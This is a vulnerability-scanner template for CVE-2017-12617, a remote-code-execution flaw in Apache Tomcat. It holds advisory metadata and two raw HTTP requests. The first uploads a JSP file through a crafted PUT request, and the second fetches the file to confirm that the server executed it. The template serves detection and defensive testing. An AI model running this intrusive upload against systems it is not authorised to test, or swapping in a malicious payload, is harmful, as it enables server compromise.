id: "CVE-2017-12617" info: name: Apache Tomcat - Remote Code Execution author: pussycat0x severity: high description: | When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. reference: - https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/ - https://github.com/cyberheartmi9/CVE-2017-12617 - https://www.exploit-db.com/exploits/43008 - https://nvd.nist.gov/vuln/detail/CVE-2017-12617 - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: "CVE-2017-12617" cwe-id: CWE-434 epss-score: 0.97541 cpe: cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:* metadata: verified: "true" max-request: 2 shodan-query: html:"Apache Tomcat" vendor: apache product: tomcat tags: cve,cve2017,tomcat,apache,rce,kev,intrusive http: - raw: - | PUT /{{randstr}}.jsp/ HTTP/1.1 Host: {{Hostname}} <% out.println("CVE-2017-12617");%> - | GET /{{randstr}}.jsp HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_2 words: - "CVE-2017-12617" - type: status status: - 200